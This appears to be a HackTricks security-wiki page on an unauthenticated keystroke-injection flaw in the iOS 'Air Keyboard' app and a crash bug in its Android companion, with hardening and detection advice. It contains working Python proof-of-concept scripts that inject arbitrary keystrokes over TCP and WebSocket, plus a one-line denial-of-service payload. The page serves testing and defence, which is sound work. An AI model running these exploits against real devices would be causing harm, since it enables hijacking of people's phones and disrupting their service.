mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
189 lines
7.1 KiB
Markdown
189 lines
7.1 KiB
Markdown
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## TL;DR
|
||
|
||
The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either:
|
||
|
||
* **≤ 1.0.4** – raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload.
|
||
* **≥ 1.0.5 (June 2025)** – **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`.
|
||
|
||
Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking**.
|
||
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**).
|
||
|
||
> The vulnerability is **still unpatched at the time of writing (July 2025)** and the application remains available in the App Store.
|
||
|
||
---
|
||
|
||
## 1. Service Discovery
|
||
|
||
Scan the local network and look for the two fixed ports used by the apps:
|
||
|
||
```bash
|
||
# iOS (unauthenticated input-injection)
|
||
nmap -p 8888 --open 192.168.1.0/24
|
||
|
||
# Android (weakly-authenticated service)
|
||
nmap -p 55535 --open 192.168.1.0/24
|
||
```
|
||
|
||
On Android handsets you can identify the responsible package locally:
|
||
|
||
```bash
|
||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||
# rooted device / Termux
|
||
netstat -tulpn | grep LISTEN
|
||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||
```
|
||
|
||
On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`.
|
||
|
||
---
|
||
|
||
## 2. Protocol Details (iOS)
|
||
|
||
### 2.1 Legacy (≤ 1.0.4) – custom binary frames
|
||
|
||
```
|
||
[length (2 bytes little-endian)]
|
||
[device_id (1 byte)]
|
||
[payload ASCII keystrokes]
|
||
```
|
||
|
||
The declared *length* includes the `device_id` byte **but not** the two-byte header itself.
|
||
|
||
### 2.2 Current (≥ 1.0.5) – JSON over WebSocket
|
||
|
||
Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged. A minimal keystroke looks like:
|
||
|
||
```json
|
||
{
|
||
"type": 1, // 1 = insert text, 2 = special key
|
||
"text": "open -a Calculator\n",
|
||
"mode": 0,
|
||
"shiftKey": false,
|
||
"selectionStart": 0,
|
||
"selectionEnd": 0
|
||
}
|
||
```
|
||
|
||
No handshake, token or signature is required – the first JSON object already triggers the UI event.
|
||
|
||
---
|
||
|
||
## 3. Exploitation PoC
|
||
|
||
### 3.1 Targeting ≤ 1.0.4 (raw TCP)
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||
import socket, sys
|
||
|
||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||
|
||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||
frame += b"\x01" # device_id = 1 (hard-coded)
|
||
frame += keystrokes
|
||
|
||
with socket.create_connection((target_ip, 8888)) as s:
|
||
s.sendall(frame)
|
||
print("[+] Injected", keystrokes)
|
||
```
|
||
|
||
### 3.2 Targeting ≥ 1.0.5 (WebSocket)
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||
import json, sys, websocket # `pip install websocket-client`
|
||
|
||
target_ip = sys.argv[1]
|
||
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||
ws.send(json.dumps({
|
||
"type": 1,
|
||
"text": "https://evil.example\n",
|
||
"mode": 0,
|
||
"shiftKey": False,
|
||
"selectionStart": 0,
|
||
"selectionEnd": 0
|
||
}))
|
||
ws.close()
|
||
print("[+] URL opened on target browser")
|
||
```
|
||
|
||
*Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.*
|
||
|
||
---
|
||
|
||
## 4. Android Companion – Denial-of-Service
|
||
|
||
The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.
|
||
|
||
```python
|
||
import socket
|
||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||
```
|
||
|
||
---
|
||
|
||
## 5. Related Apps – A Recurring Anti-Pattern
|
||
|
||
Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:
|
||
|
||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 allow unauthenticated command execution and plain-text key-logging.
|
||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 unauthenticated RCE & traffic snooping.
|
||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 default-no-password, weak PIN brute-force and clear-text leakage.
|
||
|
||
These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**.
|
||
|
||
---
|
||
|
||
## 6. Root Causes
|
||
|
||
1. **No origin / integrity checks** on incoming frames (iOS).
|
||
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
|
||
3. **User-granted Local-Network entitlement ≠ security** – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication.
|
||
|
||
---
|
||
|
||
## 7. Hardening & Defensive Measures
|
||
|
||
Developer recommendations:
|
||
|
||
* Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed.
|
||
* Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input.
|
||
* Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets.
|
||
* Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames.
|
||
|
||
Blue-/Red-Team quick wins:
|
||
|
||
* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`.
|
||
* **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners.
|
||
* **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses – useful for spotting rogue services.
|
||
* **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888.
|
||
|
||
---
|
||
|
||
## Detection Cheat-Sheet (Pentesters)
|
||
|
||
```bash
|
||
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||
| awk '/Ports/{print $2 " " $4}'
|
||
|
||
# Inspect running sockets on a connected Android target
|
||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||
```
|
||
|
||
---
|
||
|
||
## References
|
||
|
||
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}} |